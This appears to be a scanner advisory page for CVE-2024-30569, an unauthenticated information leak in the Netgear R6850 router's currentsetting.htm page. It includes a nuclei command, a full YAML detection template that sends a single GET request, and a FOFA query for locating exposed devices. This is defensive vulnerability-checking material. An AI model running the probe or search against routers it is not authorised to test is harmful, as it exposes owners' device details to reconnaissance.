Netgear R6850 - Information Disclosure

highseverity

7.5CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Netgear R6850 router firmware version V1.1.0.88 contains an information leakage vulnerability in the currentsetting.htm page.This hidden interface is not protected by authentication, allowing unauthenticated attackers to access sensitive informationsuch as firmware version, model details, connection status, and other system configuration data.

Impact

Attackers can access sensitive system information from the Netgear R6850 router.

Fix

Update Netgear R6850 firmware to a version that patches the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/currentsetting.htm
Positive when: contains "Firmware=" and "LoginMethod=" and "Model=" AND status 200

Run it with nuclei: nuclei -id CVE-2024-30569 -u <target>

The full check

id: CVE-2024-30569

info:
  name: Netgear R6850 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    Netgear R6850 router firmware version V1.1.0.88 contains an information leakage vulnerability in the currentsetting.htm page.This hidden interface is not protected by authentication, allowing unauthenticated attackers to access sensitive informationsuch as firmware version, model details, connection status, and other system configuration data.
  impact: |
    Attackers can access sensitive system information from the Netgear R6850 router.
  remediation: |
    Update Netgear R6850 firmware to a version that patches the information disclosure vulnerability.
  reference:
    - https://github.com/funny-mud-peee/IoT-vuls/blob/main/netgear%20R6850/Info%20Leak%20in%20Netgear-R6850%EF%BC%88currentsetting.htm%EF%BC%89.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30569
    - https://www.netgear.com/about/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-30569
    cwe-id: CWE-200
    epss-score: 0.01907
    epss-percentile: 0.79925
    cpe: cpe:2.3:o:netgear:r6850_firmware:1.1.0.88:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: netgear
    product: r6850_firmware
    fofa-query: app="NETGEAR" && "R6850"
  tags: cve,cve2024,netgear,router,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/currentsetting.htm"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Firmware="
          - "LoginMethod="
          - "Model="
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from